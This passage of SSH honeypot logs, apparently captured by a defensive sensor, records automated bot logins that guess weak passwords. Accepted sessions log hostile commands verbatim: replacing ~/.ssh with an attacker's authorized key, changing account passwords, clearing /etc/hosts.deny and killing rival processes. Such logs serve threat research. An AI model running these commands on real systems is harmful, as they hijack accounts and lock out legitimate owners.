$4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:37:02.845151+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:37:03.146845+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:37:04.446610+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:37:04.749166+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:37:06.114890+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:37:06.420949+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:37:07.016738+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:37:07.325111+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:37:08.739677+00:00","kind":"output","latency_ms":null,"data":" 14:37:08 up 6 days, 11:27, 0 user, load average: 0.34, 0.29, 0.34\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:37:09.041387+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:37:10.015951+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:37:10.343195+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:37:11.567352+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:37:11.869557+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:37:13.842659+00:00","kind":"output","latency_ms":null,"data":"top - 14:37:13 up 6 days, 11:27, 0 user, load average: 0.34, 0.29, 0.34\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:37:14.143558+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:37:15.356190+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:37:15.656483+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:37:17.788499+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:37:18.089621+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:37:18.679638+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T14:37:18.982084+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:37:21.104875+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:37:21.409657+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:37:22.224875+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"abc@123456","method":"password","accepted":true,"tier":"other"}]} {"id":"d37821db-251e-4527-a069-5f98022a7a26","name":"marine-mottled-tinamou","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":58162,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:36:58.912488+00:00","ended_at":"2026-08-26T14:37:00.256289+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f2ffd9c6-933d-4e82-830c-b60f3897d582","name":"kindly-bold-fossa","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":58152,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:36:57.057109+00:00","ended_at":"2026-08-26T14:36:58.326784+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"89f9cf55-6093-45e0-a19e-bd2df5e61d1b","name":"golden-frugal-pangolin","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":64812,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":287,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:35:22.389541+00:00","ended_at":"2026-08-26T14:35:23.705048+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T14:34:53.119628+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:34:53.409750+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:34:58.358579+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:35:00.277255+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:35:00.565205+00:00","kind":"input","latency_ms":null,"data":"echo \"root:nAF7AZkHJL8V\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:35:00.853555+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:35:01.141891+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:35:01.411241+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T14:35:02.467153+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T14:35:02.758105+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T14:35:03.739024+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T14:35:04.030207+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T14:35:05.457520+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T14:35:05.746452+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T14:35:06.887622+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T14:35:07.175282+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T14:35:08.840220+00:00","kind":"output","latency_ms":null,"data":" 14:35:08 up 6 days, 11:25, 0 user, load average: 0.29, 0.37, 0.33\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T14:35:09.128967+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T14:35:10.166842+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T14:35:10.454121+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T14:35:12.582889+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T14:35:12.871072+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T14:35:14.641619+00:00","kind":"output","latency_ms":null,"data":"top - 14:35:14 up 6 days, 11:25, 0 user, load average: 0.29, 0.37, 0.33\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T14:35:14.929760+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T14:35:16.947559+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T14:35:17.235388+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T14:35:19.342261+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T14:35:19.630351+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T14:35:20.477025+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T14:35:20.767645+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T14:35:22.102317+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T14:35:22.390335+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T14:35:23.616725+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"1qaz2WSX!","method":"password","accepted":true,"tier":"other"}]} {"id":"84c64f1f-27a4-4c6f-99eb-3b8b6fdb7e2f","name":"thawing-humble-flamingo","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":55962,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:34:56.369047+00:00","ended_at":"2026-08-26T14:34:58.275069+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"7f025f9b-38ec-44d7-bdb2-4ebbaaddc188","name":"civil-lonesome-lapwing","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":55952,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:34:54.058566+00:00","ended_at":"2026-08-26T14:34:55.771196+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"eae6fba8-c3b6-4260-ab9a-2a5f3edb67d0","name":"brave-austere-pheasant","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":56354,"username":"temp","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":286,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:33:17.335120+00:00","ended_at":"2026-08-26T14:33:18.473899+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2253,"events":[{"seq":1,"at":"2026-08-26T14:32:53.336148+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:32:53.621703+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:32:57.514942+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:32:58.572627+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:32:58.859179+00:00","kind":"input","latency_ms":null,"data":"echo -e \"P@ssw0rd\\ncTzvvrqUnA2d\\ncTzvvrqUnA2d\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:32:59.143655+00:00","kind":"input","latency_ms":null,"data":"echo \"P@ssw0rd\\ncTzvvrqUnA2d\\ncTzvvrqUnA2d\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:32:59.434178+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:33:00.288335+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T14:33:00.512839+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T14:33:00.604792+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:33:00.800671+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-26T14:33:01.899259+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:33:02.188011+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T14:33:03.349504+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T14:33:03.641749+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T14:33:04.520837+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T14:33:04.808611+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T14:33:06.451348+00:00","kind":"output","latency_ms":null,"data":" 14:33:06 up 6 days, 11:23, 0 user, load average: 0.26, 0.2, 0.28\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T14:33:06.735941+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T14:33:07.712907+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T14:33:07.999157+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T14:33:09.418555+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T14:33:09.703428+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T14:33:11.542025+00:00","kind":"output","latency_ms":null,"data":"top - 14:33:11 up 6 days, 11:23, 0 user, load average: 0.26, 0.2, 0.28\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T14:33:11.827751+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T14:33:13.330640+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T14:33:13.616892+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T14:33:14.441530+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T14:33:14.730895+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T14:33:15.723085+00:00","kind":"output","latency_ms":null,"data":"temp"},{"seq":31,"at":"2026-08-26T14:33:16.008549+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T14:33:17.050433+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T14:33:17.336003+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T14:33:18.390299+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"temp","password":"P@ssw0rd","method":"password","accepted":true,"tier":"other"}]} {"id":"9a4b9bab-3894-408d-9f4e-d534b935bb13","name":"mossy-cheerful-lemur","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":60746,"username":"temp","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:32:56.455689+00:00","ended_at":"2026-08-26T14:32:57.429862+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"temp","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"739b5321-74d0-4558-9170-ad7e986c135a","name":"autumn-drifting-gull","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":60732,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:32:54.276739+00:00","ended_at":"2026-08-26T14:32:55.885289+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"2ecc14fe-0580-403a-af11-51c29521eb3e","name":"cosmic-opal-goldcrest","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":50718,"username":"testftp","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":303,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:31:13.259582+00:00","ended_at":"2026-08-26T14:31:14.892471+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-26T14:30:52.540919+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:30:52.841766+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:30:56.646135+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:30:57.118505+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:30:57.426184+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345678\\n4aqSqVu71pWx\\n4aqSqVu71pWx\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:30:57.730942+00:00","kind":"input","latency_ms":null,"data":"echo \"12345678\\n4aqSqVu71pWx\\n4aqSqVu71pWx\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:30:58.036195+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:30:58.914696+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:30:59.220188+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:31:00.545524+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:31:00.849626+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:31:01.953505+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:31:02.257383+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:31:02.616054+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:31:02.928499+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:31:03.547728+00:00","kind":"output","latency_ms":null,"data":" 14:31:03 up 6 days, 11:21, 0 user, load average: 0.17, 0.13, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:31:03.849633+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:31:04.392371+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:31:04.694280+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:31:05.060490+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:31:05.362650+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:31:06.212412+00:00","kind":"output","latency_ms":null,"data":"top - 14:31:06 up 6 days, 11:21, 0 user, load average: 0.17, 0.13, 0.19\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:31:06.513689+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:31:07.955246+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:31:08.256997+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:31:09.730646+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:31:10.032380+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:31:10.953827+00:00","kind":"output","latency_ms":null,"data":"testftp"},{"seq":29,"at":"2026-08-26T14:31:11.258384+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:31:12.954391+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:31:13.260383+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:31:14.803475+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"testftp","password":"12345678","method":"password","accepted":true,"tier":"other"}]} {"id":"f67a1698-8fcd-4fff-b62a-eb9c38671815","name":"spirited-lofty-serval","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":51616,"username":"testftp","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:30:55.297629+00:00","ended_at":"2026-08-26T14:30:56.558363+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"testftp","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} 